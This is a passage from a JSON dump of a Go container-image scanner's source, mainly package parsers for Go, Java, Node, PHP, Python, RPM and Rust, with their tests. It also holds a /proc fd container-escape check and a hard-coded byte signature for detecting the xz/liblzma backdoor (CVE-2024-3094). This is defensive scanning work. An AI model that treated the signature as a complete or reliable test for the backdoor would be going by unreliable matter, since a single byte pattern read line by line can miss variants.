has been linked to the directory of proc fd: '%s', \"+\n\t\t\t\t\t\t\"which has a potential container escape.\", path, targetPath),\n\t\t\t\t}\n\t\t\t\ts.Others = append(s.Others, oth)\n\t\t\t}\n\n\t\t\treturn nil\n\t\t}\n\n\t\t// Check the liblzma library backdoor\n\t\t// https://www.openwall.com/lists/oss-security/2024/03/29/4\n\t\tif strings.Contains(path, \"liblzma.so\") {\n\t\t\tfilename := filepath.Join(m.Localpath, path)\n\t\t\tif checkLiblzma(filename) {\n\t\t\t\toth := &Other{\n\t\t\t\t\tName:  \"liblzma.so backdoor\",\n\t\t\t\t\tTitle: \"CVE-2024-3094\",\n\t\t\t\t\tScore: 9.5,\n\t\t\t\t\tLevel: \"critical\",\n\t\t\t\t\tDesc: fmt.Sprintf(\"File '%s' is a susupicious backdoor \"+\n\t\t\t\t\t\t\"becuase the malicious code was discovered in the upstream tarballs of xz.\", path),\n\t\t\t\t}\n\t\t\t\ts.Others = append(s.Others, oth)\n\t\t\t}\n\t\t}\n\n\t\t// Check the executable file\n\t\tif mode.IsRegular() && mode.Perm()&0555 != 0 {\n\t\t\tfilename := filepath.Join(m.Localpath, path)\n\t\t\tf, err := os.Open(filename)\n\t\t\tif err != nil {\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tdefer f.Close()\n\n\t\t\t// Parse go binary\n\t\t\tgobin, err := getGOPacks(f)\n\t\t\tif err != nil {\n\t\t\t\tgoto rustCheck\n\t\t\t}\n\n\t\t\tgobin.Path = path\n\t\t\ts.GOPacks = append(s.GOPacks, gobin)\n\n\t\trustCheck:\n\t\t\trustbin, err := getRustPacks(f)\n\t\t\tif err != nil {\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\trustbin.Path = path\n\t\t\ts.RustPacks = append(s.RustPacks, rustbin)\n\n\t\t}\n\n\t\treturn nil\n\t}); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc getHTMLType(path string) string {\n\textensions := map[string]int{\n\t\t\"php\": 0,\n\t\t\"js\":  0,\n\t}\n\n\tfiles, err := ioutil.ReadDir(path)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\tfor _, file := range files {\n\t\tif file.IsDir() {\n\t\t\tcontinue\n\t\t}\n\t\texSplit := strings.Split(file.Name(), \".\")\n\t\tif len(exSplit) < 2 {\n\t\t\tcontinue\n\t\t}\n\n\t\tex := exSplit[len(exSplit)-1]\n\t\tif _, ok := extensions[ex]; ok {\n\t\t\textensions[ex] += 1\n\t\t}\n\n\t}\n\n\ttype kv struct {\n\t\tKey   string\n\t\tValue int\n\t}\n\n\tvar exs []kv\n\tfor k, v := range extensions {\n\t\texs = append(exs, kv{k, v})\n\t}\n\n\tsort.Slice(exs, func(i, j int) bool {\n\t\treturn exs[i].Value > exs[j].Value\n\t})\n\n\tif exs[0].Value > 0 {\n\t\treturn exs[0].Key\n\t}\n\n\treturn \"\"\n}\n\n// checkLiblzma check the liblzma library backdoor\nfunc checkLiblzma(path string) bool {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tdefer file.Close()\n\tscanner := bufio.NewScanner(file)\n\tsignature := \"f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410\"\n\n\tcontent := \"\"\n\tfor scanner.Scan() {\n\t\tline := scanner.Bytes()\n\t\tcontent += fmt.Sprintf(\"%02x\", line)\n\t}\n\n\tif strings.Contains(content, signature) {\n\t\treturn true\n\t}\n\n\treturn false\n}\n"
  },
  {
    "path": "pkg/packages/get_package.go",
    "content": "package packages\n\nimport (\n\t\"context\"\n\t\"log\"\n\t\"strings\"\n)\n\nvar (\n\trpmId = []string{\"centos\", \"rhel\", \"ol\"}\n)\n\nfunc (s *Packages) GetApp(ctx context.Context) error {\n\tm := s.Mani\n\ts.Packs = []*Package{}\n\tfor _, r := range rpmId {\n\t\tif strings.ToLower(s.OsRelease.OID) == r {\n\t\t\terr := s.getRpmPacks(ctx)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Get rpm packages failed: %v\", err)\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\t}\n\n\trd, err := m.File(\"var/lib/dpkg/status\")\n\tif err != nil {\n\t\tlog.Printf(\"Dpkg get failed, error: %v\", err)\n\t}\n\tdpkg := rd.String()\n\tif dpkg != \"\" {\n\t\terr = s.getAptPacks(ctx, dpkg)\n\t}\n\trd, err = m.File(\"lib/apk/db/installed\")\n\tif err != nil {\n\t\tlog.Printf(\"Apk get failed, error: %v\", err)\n\t}\n\tapk := rd.String()\n\tif apk != \"\" {\n\t\terr = s.getAptPacks(ctx, apk)\n\t}\n\n\trd, err = m.File(\"var/log/pacman.log\")\n\tif err != nil {\n\t\tlog.Printf(\"Pacman get failed, error: %v\", err)\n\t}\n\tpacman := rd.String()\n\tif pacman != \"\" {\n\t\terr = s.getArchPacks(ctx, pacman)\n\t}\n\n\terr = s.getSitePacks(ctx)\n\terr = s.Traverse(ctx)\n\n\treturn err\n}\n"
  },
  {
    "path": "pkg/packages/go.go",
    "content": "package packages\n\nimport (\n\t\"debug/buildinfo\"\n\t\"io\"\n\t\"strings\"\n)\n\ntype MOD struct {\n\tName    string `json:\"name\"`\n\tPath    string `json:\"path\"`\n\tVersion string `json:\"version\"`\n}\n\ntype GOBIN struct {\n\tName string `json:\"name\"`\n\tPath string `json:\"path\"`\n\tDeps []*MOD `json:\"deps\"`\n}\n\nfunc getGOPacks(rt io.ReaderAt) (*GOBIN, error) {\n\tgobin := &GOBIN{}\n\tmods := []*MOD{}\n\n\tinfo, err := buildinfo.Read(rt)\n\tif err != nil {\n\t\treturn gobin, err\n\t}\n\n\tif info.Main.Path == \"\" {\n\t\tgobin.Name = \"gobinary\"\n\t} else {\n\t\tnameSplit := strings.Split(info.Main.Path, \"/\")\n\t\tgobin.Name = nameSplit[len(nameSplit)-1]\n\t}\n\n\tfor _, dep := range info.Deps {\n\n\t\tif dep.Path == \"\" || !strings.Contains(dep.Path, \"github.com\") {\n\t\t\tcontinue\n\t\t}\n\n\t\tmodNameArray := strings.Split(dep.Path, \"/\")\n\t\tif len(modNameArray) > 3 {\n\t\t\t// Submodule of the origin module\n\t\t\tcontinue\n\t\t}\n\n\t\tmod := &MOD{\n\t\t\tName:    modNameArray[2],\n\t\t\tPath:    dep.Path,\n\t\t\tVersion: dep.Version,\n\t\t}\n\t\tmods = append(mods, mod)\n\t}\n\n\tgobin.Deps = mods\n\n\treturn gobin, nil\n}\n"
  },
  {
    "path": "pkg/packages/java.go",
    "content": "package packages\n\nimport (\n\t\"archive/zip\"\n\t\"errors\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n)\n\ntype JAVA struct {\n\tName string `json:\"name\"`\n\tPath string `json:\"path\"`\n\tJars []*Jar `json:\"jars\"`\n}\n\ntype Jar struct {\n\tName    string\n\tVersion string\n}\n\nvar (\n\tversionReg  = regexp.MustCompile(`version=(.*)`)\n\tartifactReg = regexp.MustCompile(`artifactId=(.*)`)\n\tNameRegs    = []*regexp.Regexp{\n\t\tregexp.MustCompile(`Implementation-Title: (.*)`),\n\t\tregexp.MustCompile(`Start-Class: (.*)`),\n\t\tregexp.MustCompile(`Specification-Title: (.*)`),\n\t}\n\n\t// Reference: https://github.com/aquasecurity/go-dep-parser/blob/main/pkg/java/jar/parse.go#L24\n\tjarRegEx   = regexp.MustCompile(`^([a-zA-Z0-9\\._-]*[^-*])-(\\d\\S*(?:-SNAPSHOT)?).jar$`)\n\tjarNameMap = map[string]string{\n\t\t\"log4j-core\": \"log4j\",\n\t}\n)\n\nfunc getJavaPacks(rt io.ReaderAt, size int64) (*JAVA, error) {\n\tjava := &JAVA{}\n\tjars := []*Jar{}\n\n\tjar, err := zip.NewReader(rt, size)\n\tif err != nil {\n\t\treturn java, err\n\t}\n\n\tfor _, f := range jar.File {\n\t\tswitch {\n\t\tcase strings.HasSuffix(f.Name, \"pom.properties\"):\n\t\t\tproperty, err := parseProperties(f)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tjars = append(jars, property)\n\n\t\tcase strings.HasSuffix(f.Name, \"MANIFEST.MF\"):\n\t\t\tjava.Name = strings.TrimSpace(parseManifest(f))\n\n\t\tcase strings.HasSuffix(f.Name, \".jar\"):\n\t\t\tlib, err := parseLib(f.Name)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tjars = append(jars, lib)\n\n\t\tdefault:\n\t\t\t// ignore\n\t\t}\n\t}\n\n\tjava.Jars = jars\n\n\treturn java, nil\n}\n\nfunc parseProperties(file *zip.File) (*Jar, error) {\n\tjar := &Jar{}\n\n\tjr, err := file.Open()\n\tif err != nil {\n\t\treturn jar, err\n\t}\n\n\tdefer jr.Close()\n\n\td, _ := ioutil.ReadAll(jr)\n\tdata := string(d)\n\n\tname := artifactReg.FindStringSubmatch(data)\n\tif len(name) > 1 {\n\t\tjar.Name = name[1]\n\t}\n\n\tjarVersion := versionReg.FindStringSubmatch(data)\n\tif len(jarVersion) > 1 {\n\t\tjar.Version = jarVersion[1]\n\t} else {\n\t\terr = errors.New(\"no version find\")\n\t\treturn jar, err\n\t}\n\n\treturn jar, nil\n}\n\nfunc parseManifest(file *zip.File) string {\n\n\tmani, err := file.Open()\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\n\tdefer mani.Close()\n\td, _ := ioutil.ReadAll(mani)\n\tdata := string(d)\n\n\tfor _, reg := range NameRegs {\n\t\ttitle := reg.FindStringSubmatch(data)\n\t\tif len(title) > 1 {\n\t\t\treturn title[1]\n\t\t}\n\t}\n\n\treturn \"\"\n}\n\nfunc parseLib(jarName string) (*Jar, error) {\n\tjar := &Jar{}\n\n\tjarVersion := filepath.Base(jarName)\n\tjarMath := jarRegEx.FindStringSubmatch(jarVersion)\n\n\tif len(jarMath) > 2 {\n\t\tjar.Version = jarMath[2]\n\t} else {\n\t\terr := errors.New(\"not a jar library\")\n\t\treturn jar, err\n\t}\n\n\tjar.Name = jarMath[1]\n\tfor k, v := range jarNameMap {\n\t\tif jar.Name == k {\n\t\t\tjar.Name = v\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn jar, nil\n}\n"
  },
  {
    "path": "pkg/packages/node.go",
    "content": "package packages\n\nimport (\n\t\"fmt\"\n\t\"io/fs\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/tidwall/gjson\"\n)\n\ntype NPM struct {\n\tName    string `json:\"name\"`\n\tVersion string `json:\"version\"`\n}\n\ntype Node struct {\n\tVersion string `json:\"version\"`\n\tNPMS    []*NPM `json:\"NPMS\"`\n}\n\nfunc (s *Packages) getNodeModulePacks(nodePath string) error {\n\n\tm := s.Mani\n\n\tsys := filepath.Join(m.Localpath, nodePath)\n\tdir, err := ioutil.ReadDir(sys)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tnpms, err := getNodeModules(sys, dir)\n\n\tnode := &Node{\n\t\tVersion: fmt.Sprintf(`nodejs (%s)`, strings.TrimSuffix(nodePath, \"node_modules\")),\n\t\tNPMS:    npms,\n\t}\n\n\tif strings.Contains(nodePath, \"usr/local/lib/node_modules\") {\n\t\tnode.Version = \"nodejs (global)\"\n\t}\n\n\ts.NodePacks = append(s.NodePacks, node)\n\n\treturn nil\n}\n\nfunc getNodeModules(path string, dir []fs.FileInfo) ([]*NPM, error) {\n\tnpms := []*NPM{}\n\n\tfor _, f := range dir {\n\t\tif f.IsDir() {\n\t\t\tjsonFile := filepath.Join(path, f.Name(), \"package.json\")\n\t\t\tif ok := exists(jsonFile); !ok {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tmoduleFile, err := os.Open(jsonFile)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tdata, _ := ioutil.ReadAll(moduleFile)\n\t\t\tversion := gjson.Get(string(data), \"version\")\n\n\t\t\tnpm := &NPM{\n\t\t\t\tVersion: version.String(),\n\t\t\t\tName:    f.Name(),\n\t\t\t}\n\n\t\t\tnpms = append(npms, npm)\n\t\t\tmoduleFile.Close()\n\t\t}\n\n\t}\n\n\treturn npms, nil\n}\n"
  },
  {
    "path": "pkg/packages/package.go",
    "content": "package packages\n\nimport (\n\t\"github.com/kvesta/vesta/pkg/layer\"\n\t\"github.com/kvesta/vesta/pkg/osrelease\"\n)\n\ntype Packages struct {\n\tMani      layer.Manifest      `json:\"manifest\"`\n\tOsRelease osrelease.OsVersion `json:\"os_release\"`\n\n\t// List all installed packages\n\tPacks       []*Package `json:\"packs\"`\n\tPythonPacks []*Python  `json:\"python_pack\"`\n\tNodePacks   []*Node    `json:\"node_packs\"`\n\tGOPacks     []*GOBIN   `json:\"go_packs\"`\n\tJavaPacks   []*JAVA    `json:\"java_packs\"`\n\tPHPPacks    []*PHP     `json:\"php_packs\"`\n\tRustPacks   []*Rust    `json:\"rust_packs\"`\n\n\tOthers []*Other `json:\"others\"`\n}\n\ntype Package struct {\n\tPID          string `json:\"pid\"`\n\tName         string `json:\"name\"`\n\tVersion      string `json:\"version\"`\n\tArchitecture string `json:\"architecture\"`\n}\n\ntype Other struct {\n\tName  string  `json:\"name\"`\n\tTitle string  `json:\"title\"`\n\tScore float64 `json:\"score\"`\n\tLevel string  `json:\"level\"`\n\tDesc  string  `json:\"description\"`\n}\n"
  },
  {
    "path": "pkg/packages/parse_test.go",
    "content": "package packages\n\nimport (\n\t\"io\"\n\t\"os\"\n\t\"reflect\"\n\t\"testing\"\n)\n\nfunc TestParseGo(t *testing.T) {\n\ttype args struct {\n\t\tr io.ReaderAt\n\t}\n\tf, _ := os.Open(\"testdata/gobintest\")\n\tdefer f.Close()\n\n\tgoResult := &GOBIN{\n\t\tName: \"gobinary\",\n\t\tDeps: []*MOD{\n\t\t\t{\n\t\t\t\tName:    \"go-querystring\",\n\t\t\t\tPath:    \"github.com/google/go-querystring\",\n\t\t\t\tVersion: \"v1.1.0\",\n\t\t\t},\n\t\t},\n\t}\n\n\ttests := []struct {\n\t\tname    string\n\t\targs    args\n\t\twant    *GOBIN\n\t\twantErr bool\n\t}{\n\t\t{\n\t\t\tname: \"parseGoTest\",\n\t\t\targs: args{r: f},\n\t\t\twant: goResult,\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tgot, err := getGOPacks(tt.args.r)\n\n\t\t\tif (err != nil) != tt.wantErr {\n\t\t\t\tt.Errorf(\"parseGo() error = %v, wantErr %v\", err, tt.wantErr)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif !reflect.DeepEqual(got, tt.want) {\n\t\t\t\tt.Errorf(\"parseGo() got = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestParseJava(t *testing.T) {\n\ttype args struct {\n\t\trt io.ReaderAt\n\t}\n\n\tf, _ := os.Open(\"testdata/test.jar\")\n\tdefer f.Close()\n\n\tfi, _ := f.Stat()\n\n\tjavaResult := &JAVA{\n\t\tName: \"Winstone\",\n\t\tJars: []*Jar{\n\t\t\t{\n\t\t\t\tName:    \"winstone\",\n\t\t\t\tVersion: \"6.6\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tName:    \"slf4j-api\",\n\t\t\t\tVersion: \"2.0.3\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tName:    \"slf4j-jdk14\",\n\t\t\t\tVersion: \"2.0.3\",\n\t\t\t},\n\t\t},\n\t}\n\n\ttests := []struct {\n\t\tname    string\n\t\targs    args\n\t\twant    *JAVA\n\t\twantErr bool\n\t}{\n\t\t{\n\t\t\tname: \"parseJavaTest\",\n\t\t\targs: args{rt: f},\n\t\t\twant: javaResult,\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tgot, err := getJavaPacks(tt.args.rt, fi.Size())\n\n\t\t\tif (err != nil) != tt.wantErr {\n\t\t\t\tt.Errorf(\"parseJava() error = %v, wantErr %v\", err, tt.wantErr)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif !reflect.DeepEqual(got, tt.want) {\n\t\t\t\tt.Errorf(\"parseJava() got = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestParsePHP(t *testing.T) {\n\ttype args struct {\n\t\tr io.Reader\n\t}\n\n\tf, _ := os.Open(\"testdata/composer.lock\")\n\tdefer f.Close()\n\n\tphpResult := &PHP{\n\t\tPacks: []*PHPPack{\n\t\t\t{\n\t\t\t\tName:      \"thinkphp\",\n\t\t\t\tComponent: \"topthink/framework\",\n\t\t\t\tVersion:   \"v5.0.23\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tName:      \"think-captcha\",\n\t\t\t\tComponent: \"topthink/think-captcha\",\n\t\t\t\tVersion:   \"v1.0.7\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tName:      \"think-installer\",\n\t\t\t\tComponent: \"topthink/think-installer\",\n\t\t\t\tVersion:   \"v1.0.12\",\n\t\t\t},\n\t\t},\n\t}\n\n\ttests := []struct {\n\t\tname    string\n\t\targs    args\n\t\twant    *PHP\n\t\twantErr bool\n\t}{\n\t\t{\n\t\t\tname: \"parsePHPTest\",\n\t\t\targs: args{r: f},\n\t\t\twant: phpResult,\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tgot, err := getPHPPacks(tt.args.r)\n\n\t\t\tif (err != nil) != tt.wantErr {\n\t\t\t\tt.Errorf(\"parsePHP() error = %v, wantErr %v\", err, tt.wantErr)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif !reflect.DeepEqual(got, tt.want) {\n\t\t\t\tt.Errorf(\"parsePHP() got = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/packages/php.go",
    "content": "package packages\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/tidwall/gjson\"\n)\n\ntype PHP struct {\n\tName  string     `json:\"name\"`\n\tPath  string     `json:\"path\"`\n\tPacks []*PHPPack `json:\"packs\"`\n}\n\ntype PHPPack struct {\n\tName      string `json:\"name\"`\n\tComponent string `json:\"component\"`\n\tVersion   string `json:\"version\"`\n}\n\n// Map framework name to standard name\nvar phpNameMap = map[string]string{\"topthink/framework\": \"thinkphp\"}\n\nfunc getPHPPacks(r io.Reader) (*PHP, error) {\n\tphp := &PHP{}\n\tphpPacks := []*PHPPack{}\n\n\tdata, _ := ioutil.ReadAll(r)\n\tcomposers := gjson.Get(string(data), \"packages\").Value()\n\tif composers != nil {\n\t\tpacks := composers.([]interface{})\n\t\tfor _, packIn := range packs {\n\t\t\tpack := packIn.(map[string]interface{})\n\n\t\t\tphpName := pack[\"name\"].(string)\n\t\t\tif get, ok := phpNameMap[phpName]; ok {\n\t\t\t\tphpName = get\n\t\t\t} else {\n\t\t\t\tphpName = filepath.Base(phpName)\n\t\t\t}\n\n\t\t\tp := &PHPPack{\n\t\t\t\tName:      phpName,\n\t\t\t\tComponent: pack[\"name\"].(string),\n\t\t\t\tVersion:   pack[\"version\"].(string),\n\t\t\t}\n\n\t\t\tphpPacks = append(phpPacks, p)\n\t\t}\n\t}\n\n\tphp.Packs = phpPacks\n\n\treturn php, nil\n}\n\nfunc parsePHPName(r io.Reader) string {\n\tdata, _ := ioutil.ReadAll(r)\n\n\tcomposer := gjson.Get(string(data), \"name\").Value()\n\tif composer != nil {\n\t\treturn composer.(string)\n\t}\n\n\treturn \"\"\n\n}\n\nfunc getWordpressInfo(dir string) (*PHP, error) {\n\n\tphp := &PHP{\n\t\tName: \"wordpress\",\n\t}\n\n\tphpPacks := []*PHPPack{}\n\n\twversionReg := regexp.MustCompile(`\\$wp_version = '(.*)'`)\n\n\tversionPath := filepath.Join(dir, \"wp-includes/version.php\")\n\tversionFile, err := os.Open(versionPath)\n\tif err != nil {\n\t\treturn php, err\n\t}\n\tdefer versionFile.Close()\n\n\tdata, _ := ioutil.ReadAll(versionFile)\n\n\tversionMatch := wversionReg.FindStringSubmatch(string(data))\n\n\tif len(versionMatch) > 1 {\n\t\tp := &PHPPack{\n\t\t\tName:      \"wordpress\",\n\t\t\tComponent: \"wordpress\",\n\t\t\tVersion:   versionMatch[1],\n\t\t}\n\n\t\tphpPacks = append(phpPacks, p)\n\t}\n\n\tpluginsDir := filepath.Join(dir, \"wp-content/plugins\")\n\tplugins, err := ioutil.ReadDir(pluginsDir)\n\tif err != nil {\n\t\tgoto check\n\t}\n\n\tfor _, file := range plugins {\n\t\tif file.IsDir() {\n\t\t\tpluginName := file.Name()\n\t\t\tpluginPath := filepath.Join(pluginsDir, pluginName)\n\t\t\tpluginVersion := parseWordpressPluginVersion(pluginPath, pluginName)\n\n\t\t\tif pluginVersion == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tp := &PHPPack{\n\t\t\t\tName:    fmt.Sprintf(\"plugin: %s\", pluginName),\n\t\t\t\tVersion: pluginVersion,\n\t\t\t}\n\t\t\tphpPacks = append(phpPacks, p)\n\t\t}\n\t}\n\ncheck:\n\tif len(phpPacks) < 1 {\n\t\terr = errors.New(\"no wordpress was detected\")\n\t\treturn php, err\n\t}\n\n\tphp.Packs = phpPacks\n\n\treturn php, nil\n}\n\nfunc parseWordpressPluginVersion(dir, pluginName string) string {\n\tversionFile := filepath.Join(dir, fmt.Sprintf(\"%s.php\", pluginName))\n\tf, err := os.Open(versionFile)\n\tif err == nil {\n\t\tdefer f.Close()\n\n\t\tpluginVersionReg := regexp.MustCompile(`Version:(.*)`)\n\n\t\tdata, _ := ioutil.ReadAll(f)\n\t\tpluginVersionMatch := pluginVersionReg.FindStringSubmatch(string(data))\n\t\tif len(pluginVersionMatch) > 1 {\n\t\t\treturn strings.TrimSpace(pluginVersionMatch[1])\n\t\t}\n\n\t}\n\n\t// Find in readme.txt\n\treadmeName := filepath.Join(dir, \"readme.txt\")\n\tread, err := os.Open(readmeName)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\n\tdefer read.Close()\n\n\tdata, _ := ioutil.ReadAll(read)\n\n\treadmeReg := regexp.MustCompile(`Stable tag:(.*)`)\n\treadVersionMatch := readmeReg.FindStringSubmatch(string(data))\n\tif len(readVersionMatch) > 1 {\n\t\treturn strings.TrimSpace(readVersionMatch[1])\n\t}\n\n\treturn \"\"\n}\n"
  },
  {
    "path": "pkg/packages/python.go",
    "content": "package packages\n\nimport (\n\t\"context\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/BurntSushi/toml\"\n)\n\nvar (\n\tpyVersion = regexp.MustCompile(`^python\\d+\\.\\d+$`)\n\tmodule    = regexp.MustCompile(`(.*).dist-info`)\n)\n\ntype PIP struct {\n\tName    string `json:\"name\"`\n\tVersion string `json:\"version\"`\n}\n\ntype Python struct {\n\tVersion   string `json:\"version\"`\n\tSitePacks []*PIP `json:\"SitePacks\"`\n\tSitePath  string `json:\"sitePath\"`\n}\n\n// GetSitePacks get pip installed module. find all installed packs in\n// /usr/local/lib/<python-version>/site-packages. list all the `.dist-info`\n// directories and parse it. ignore `.egg-info` directories. same as\n// `pip freeze`\nfunc (s *Packages) getSitePacks(ctx context.Context) error {\n\tm := s.Mani\n\tfsys := filepath.Join(m.Localpath, \"usr/local/lib\")\n\tdir, err := ioutil.ReadDir(fsys)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, f := range dir {\n\t\tif ok := pyVersion.MatchString(f.Name()); ok {\n\t\t\tpath := filepath.Join(fsys, f.Name(), \"site-packages\")\n\t\t\tif ok := exists(path); !ok {\n\t\t\t\tpath = filepath.Join(fsys, f.Name(), \"dist-packages\")\n\t\t\t\tif ok := exists(path); !ok {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\tsitePack, err := getPIPModules(path)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tpy := &Python{\n\t\t\t\tVersion:   f.Name(),\n\t\t\t\tSitePacks: sitePack,\n\t\t\t\tSitePath:  strings.TrimPrefix(path, m.Localpath),\n\t\t\t}\n\t\t\ts.PythonPacks = append(s.PythonPacks, py)\n\t\t}\n\t}\n\treturn nil\n}\n\n// getPIPModules get all install module from site-packages\nfunc getPIPModules(path string) ([]*PIP, error) {\n\tpips := []*PIP{}\n\tdir, err := ioutil.ReadDir(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfor _, f := range dir {\n\t\tfind := module.FindString(f.Name())\n\t\tif find != \"\" {\n\t\t\tp := parse(f.Name())\n\t\t\tpips = append(pips, p)\n\t\t}\n\t}\n\treturn pips, nil\n}\n\n// getPyproject from pyproject.toml\nfunc getPyproject(filename string) (*Python, error) {\n\tpy := &Python{}\n\tpips := []*PIP{}\n\n\tdata, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\treturn py, err\n\t}\n\n\tvar config map[string]interface{}\n\n\t_, err = toml.Decode(string(data), &config)\n\tif err != nil {\n\t\treturn py, err\n\t}\n\n\tlibs := config[\"tool\"].(map[string]interface{})[\"poetry\"].(map[string]interface{})[\"dependencies\"].(map[string]interface{})\n\tfor name, version := range libs {\n\t\tif name == \"python\" {\n\t\t\tpy.Version = strings.TrimPrefix(version.(string), \"^\")\n\t\t\tcontinue\n\t\t}\n\n\t\tpip := &PIP{\n\t\t\tName:    name,\n\t\t\tVersion: strings.TrimPrefix(version.(string), \"^\"),\n\t\t}\n\n\t\tpips = append(pips, pip)\n\t}\n\n\tpy.SitePacks = pips\n\tpy.SitePath = \"poetry\"\n\n\treturn py, nil\n}\n\n// getLocalPythonPacks for command `pip install packs -t <path>`\nfunc getLocalPythonPacks(path string) ([]*PIP, error) {\n\tpips := []*PIP{}\n\n\tdir, err := ioutil.ReadDir(path)\n\tif err != nil {\n\t\treturn pips, err\n\t}\n\n\tfor _, f := range dir {\n\t\tfind := module.FindString(f.Name())\n\t\tif find != \"\" {\n\t\t\tp := parse(f.Name())\n\t\t\tpips = append(pips, p)\n\t\t}\n\n\t}\n\n\treturn pips, nil\n}\n\nfunc parse(pathname string) *PIP {\n\tmoduleVersion := strings.Replace(pathname, \".dist-info\", \"\", -1)\n\tv := strings.Split(moduleVersion, \"-\")\n\tp := &PIP{\n\t\tName:    v[0],\n\t\tVersion: v[1],\n\t}\n\treturn p\n}\n\nfunc exists(path string) bool {\n\t_, err := os.Stat(path)\n\tif err != nil {\n\t\tif os.IsExist(err) {\n\t\t\treturn true\n\t\t}\n\n\t\treturn false\n\t}\n\treturn true\n}\n"
  },
  {
    "path": "pkg/packages/rpm.go",
    "content": "package packages\n\nimport (\n\t\"context\"\n\t\"path/filepath\"\n\n\trpmdb \"github.com/knqyf263/go-rpmdb/pkg\"\n)\n\nfunc (s *Packages) getRpmPacks(ctx context.Context) error {\n\n\tdbFiles := []string{\n\t\t\"var/lib/rpm/Packages\",\n\t\t\"var/lib/rpm/Packages.db\",\n\t\t\"var/lib/rpm/rpmdb.sqlite\",\n\t}\n\n\tfor _, dbPath := range dbFiles {\n\t\trpmPath := filepath.Join(s.Mani.Localpath, dbPath)\n\n\t\tdb, err := rpmdb.Open(rpmPath)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tpkgList, err := db.ListPackages()\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tfor _, pkg := range pkgList {\n\t\t\tp := &Package{\n\t\t\t\tName:         pkg.Name,\n\t\t\t\tVersion:      pkg.Version,\n\t\t\t\tArchitecture: pkg.Arch,\n\t\t\t}\n\n\t\t\ts.Packs = append(s.Packs, p)\n\t\t}\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/packages/rust.go",
    "content": "package packages\n\nimport (\n\t\"io\"\n\n\t\"github.com/microsoft/go-rustaudit\"\n)\n\ntype Rust struct {\n\tName string   `json:\"name\"`\n\tPath string   `json:\"path\"`\n\tDeps []*Cargo `json:\"deps\"`\n}\n\ntype Cargo struct {\n\tName    string `json:\"name\"`\n\tVersion string `json:\"version\"`\n}\n\nfunc getRustPacks(rt io.ReaderAt) (*Rust, error) {\n\trust := &Rust{}\n\tdeps := []*Cargo{}\n\n\taudit, err := rustaudit.GetDependencyInfo(rt)\n\tif err != nil {\n\t\treturn rust, err\n\t}\n\n\tfor _, dep := range audit.Packages {\n\t\td := &Cargo{\n\t\t\tName:    dep.Name,\n\t\t\tVersion: dep.Version,\n\t\t}\n\n\t\tdeps = append(deps, d)\n\t}\n\n\trust.Deps = deps\n\n\treturn rust, nil\n}\n"
  },
  {
    "path": "pkg/vulnlib/client.go",
